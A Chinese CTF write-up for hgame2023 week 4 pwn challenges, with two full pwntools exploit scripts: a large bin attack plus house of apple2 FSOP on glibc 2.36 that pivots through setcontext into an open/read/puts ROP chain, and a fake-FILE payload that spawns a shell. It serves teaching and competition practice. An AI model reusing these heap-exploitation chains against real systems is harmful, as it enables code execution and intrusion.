在第一种方法中,作者使用了一个特殊的gadget(0x0000000000160cb6),该gadget可以将rdx寄存器的值移动到rdi寄存器,并调用setcontext。为了将rdx的值传递给rdi,作者创建了一个名为magic_gadget的代码片段。接下来,作者编写了一个Python脚本来实现攻击过程,包括分配内存、填充堆数据、构建伪文件、修改堆指针等步骤。

在第二种方法中,作者首先通过malloc申请了一个0x200000大小的内存块,然后将这块内存的地址写入_IO_list_all。接着,作者利用house of apple技巧获取了shell。最后,作者编写了一个Python脚本来实现攻击过程,包括分配内存、填充堆数据、构建伪文件、修改堆指针等步骤。

【WP】hgame2023 week4 Pwn

without_hook

libc2.36的版本,没有__free_hook__malloc_hook这种hook函数,这里使用打_IO_list_all执行fsop的方式执行setcontext后执行orw的rop链

我这里使用的house of apple2的方式

其中,在2.36的版本需要把rdx的值赋值给rdi,这样再去执行setcontext才能执行rop链

为了让rdx的值给到rdi,使用到了这样一个magic_gadget

0x0000000000160cb6: mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20];

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/01/31 11:17:12
# -----------------------------------

#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *

init("./vuln")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
if pwnio.ip:
    libc = ELF("./libc.so.6")


cmd = lambda idx: sla(">", str(idx))


def add(idx, size=0x500):
    cmd(1)
    sla("Index: ", str(idx))
    sla("Size: ", str(size))


def free(idx):
    cmd(2)
    sla("Index: ", str(idx))


def edit(idx, content):
    cmd(3)
    sla("Index: ", str(idx))
    sa("Content: ", content)


def show(idx):
    cmd(4)
    sla("Index: ", str(idx))


def pack(pos, ptr):
    return (pos >> 12) ^ ptr


def build_fake_file(addr, vtable, _wide_data, rdx=0):
    # flag = 0xFBAD2887
    # fake_file = p64(flag)  # _flags
    # fake_file += p64(addr)  # _IO_read_ptr
    # 不用上面的flag和_IO_read_ptr是因为chunk里不可控上面两个字段
    fake_file = b""
    fake_file += p64(addr)  # _IO_read_end
    fake_file += p64(addr)  # _IO_read_base
    fake_file += p64(addr)  # _IO_write_base
    fake_file += p64(addr + 1)  # _IO_write_ptr
    fake_file += p64(rdx)  # _IO_write_end
    fake_file += p64(addr)  # _IO_buf_base
    fake_file += p64(0)  # _IO_buf_end
    fake_file += p64(0)  # _IO_save_base
    fake_file += p64(0)  # _IO_backup_base
    fake_file += p64(0)  # _IO_save_end
    fake_file += p64(0)  # _markers
    fake_file += p64(0)  # _chain   could be a anathor file struct
    fake_file += p32(1)  # _fileno
    fake_file += p32(0)  # _flags2
    fake_file += p64(0)  # _old_offset
    fake_file += p16(0)  # _cur_column
    fake_file += p8(0)  # _vtable_offset
    fake_file += p8(0x10)  # _shortbuf
    fake_file += p32(0)
    fake_file += p64(0)  # _lock
    fake_file += p64(0)  # _offset
    fake_file += p64(0)  # _codecvt
    fake_file += p64(_wide_data)  # _wide_data
    fake_file += p64(0)  # _freeres_list
    fake_file += p64(0)  # _freeres_buf
    fake_file += p64(0)  # __pad5
    fake_file += p32(0)  # _mode
    fake_file += p32(0)  # unused2
    fake_file += p64(0) * 2  # unused2
    fake_file += p64(vtable)  # vtable
    return fake_file


"""
#! large bin leak heap address
#! large bin attack --> fake io --> house of apple2
#! exec setcontext+61
"""

add(0, 0x508)  # fake_wide_data
add(1, 0x550)  # fake_chain
add(2)
add(3, 0x540)
add(4)

#! leak libc base
free(1)
show(1)
fd_bk = leak(l64(), "fd_bk")
libc.address = leak(fd_bk - 0x1F6CC0, "libc")


#! to large bin
add(5, 0x600)  # fake_jump

#! large leak fd_next to get heap base
edit(1, b"a" * 15 + b"b")
show(1)
ru("b")
heap_base = leak(uu64(r(6)) - 0x7A0, "heap_base")
edit(1, p64(fd_bk) * 2)

#! free large_chunk2 into unsortedbin
free(3)

#! modify largebin[0]->bk_nextsize -> tagert_addr-0x20
_IO_list_all = libc.sym["_IO_list_all"]
_IO_list_all_chain = _IO_list_all + 0x88
setcontext_61 = libc.sym["setcontext"] + 61
info(_IO_list_all_chain, "_IO_list_all_chain")
edit(1, p64(fd_bk) * 2 + p64(heap_base + 0x7A0) + p64(_IO_list_all_chain - 0x20))
info(heap_base + 0x7A0, "fake_IO")
#! large bin attack : chain -> heap_base + 0x7a0
add(6)

#! edit _flags -> ~(2 | 0x8 | 0x800)
from ctypes import c_uint32

edit(0, b"\x00" * 0x500 + p64(c_uint32(~(2 | 0x8 | 0x800)).value))

#! bulid fake_wide_data
fake_wide_data = heap_base + 0x2A0
info(fake_wide_data, "fake_wide_data")

#! edit vtable -> _IO_wfile_jumps
#! edit fp -> _wide_data = fake_wide_data
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]

#* magic_gadget
#* 0x0000000000160cb6: mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20];
magic = leak(libc.address + 0x0000000000160CB6, "magic")

edit(1, build_fake_file(0, _IO_wfile_jumps, fake_wide_data, magic))

#! edit fake_wide_data -> _IO_write_base = 0
#! edit fake_wide_data -> _IO_buf_base = 0
#! edit fake_wide_data -> _wide_vtable = fake_jump
#! edit fake_jump -> doallocate = system
ret_addr = libc.address + 0x0000000000022D19
pop_rdi = libc.address + 0x0000000000023BA5
pop_rsi = libc.address + 0x00000000000251FE
pop_rdx_rbx = libc.address + 0x000000000008BBB9
flag_addr = heap_base + 0x2A0
open_addr = libc.sym["open"]
read_addr = libc.sym["read"]
puts_addr = libc.sym["puts"]

fake_jump = heap_base + 0x1C70
_wide_data = {
    0: b"/flag\x00",
    0x18: 0,
    0x30: 0,
    0xA0: fake_jump + 8 * 14,  # orw addr
    0xA8: ret_addr,  # ret addr
    0xE0: fake_jump,
}   #! no used, only use flag_addr
edit(0, flat(_wide_data))

edit(
    5,
    p64(setcontext_61)
    + p64(0x1C60 + heap_base) * 10
    + p64(magic)
    + b"\x00" * 0x20
    + p64(heap_base+0x1d10) # orw addr : setcontext rdi+0xa0
    + p64(ret_addr) # ret_addr  : setcontext rdi+0xa8
    + flat(  # orw
        pop_rdi,
        flag_addr,
        pop_rsi,
        0,
        open_addr,
        pop_rdi,
        3,
        pop_rsi,
        flag_addr,
        pop_rdx_rbx,
        0x100,
        0,
        read_addr,
        pop_rdi,
        flag_addr,
        puts_addr,
    ),
)

cmd(5)  # exit
"""
_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)
                magic_gadget
                    setcontext+61
                        orw
"""

ia()

4nswer's gift

直接把一个chunk的地址写道_IO_list_all上,所以直接malloc申请一个0x200000大小的chunk,执行mmap,这样得到的chunk地址和libc地址的偏移是固定的,同时配合使用house of apple的方式获取shell

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/02/06 12:24:17
# -----------------------------------

#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *

init("./vuln")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

ru("0x")
_IO_list_all = leak(i16(r(12)), "_IO_list_all")
libc.address = leak(_IO_list_all - libc.sym["_IO_list_all"], "libc_base")
heap_addr = leak(libc.address - 0x204000, "heap_addr")
sla("the gift?", str(0x200000))

# dbg();pau()


fs = FileStructure()
fs.flags = b"  sh;"
fs.vtable = libc.sym["_IO_wfile_jumps"]
fs._wide_data = heap_addr+0x110
fs._IO_write_ptr = 1
fs._IO_write_base = 0

payload = flat({
    0x0: bytes(fs),
    0x100: {
        0x18: 0,
        0x30: 0,
        0xe0: heap_addr + 0x210
    },
    0x200: {
        0x68: libc.sym["system"]
    }
}, filler = b'\x00')


sa("gitf?", payload+b"\n")


ia()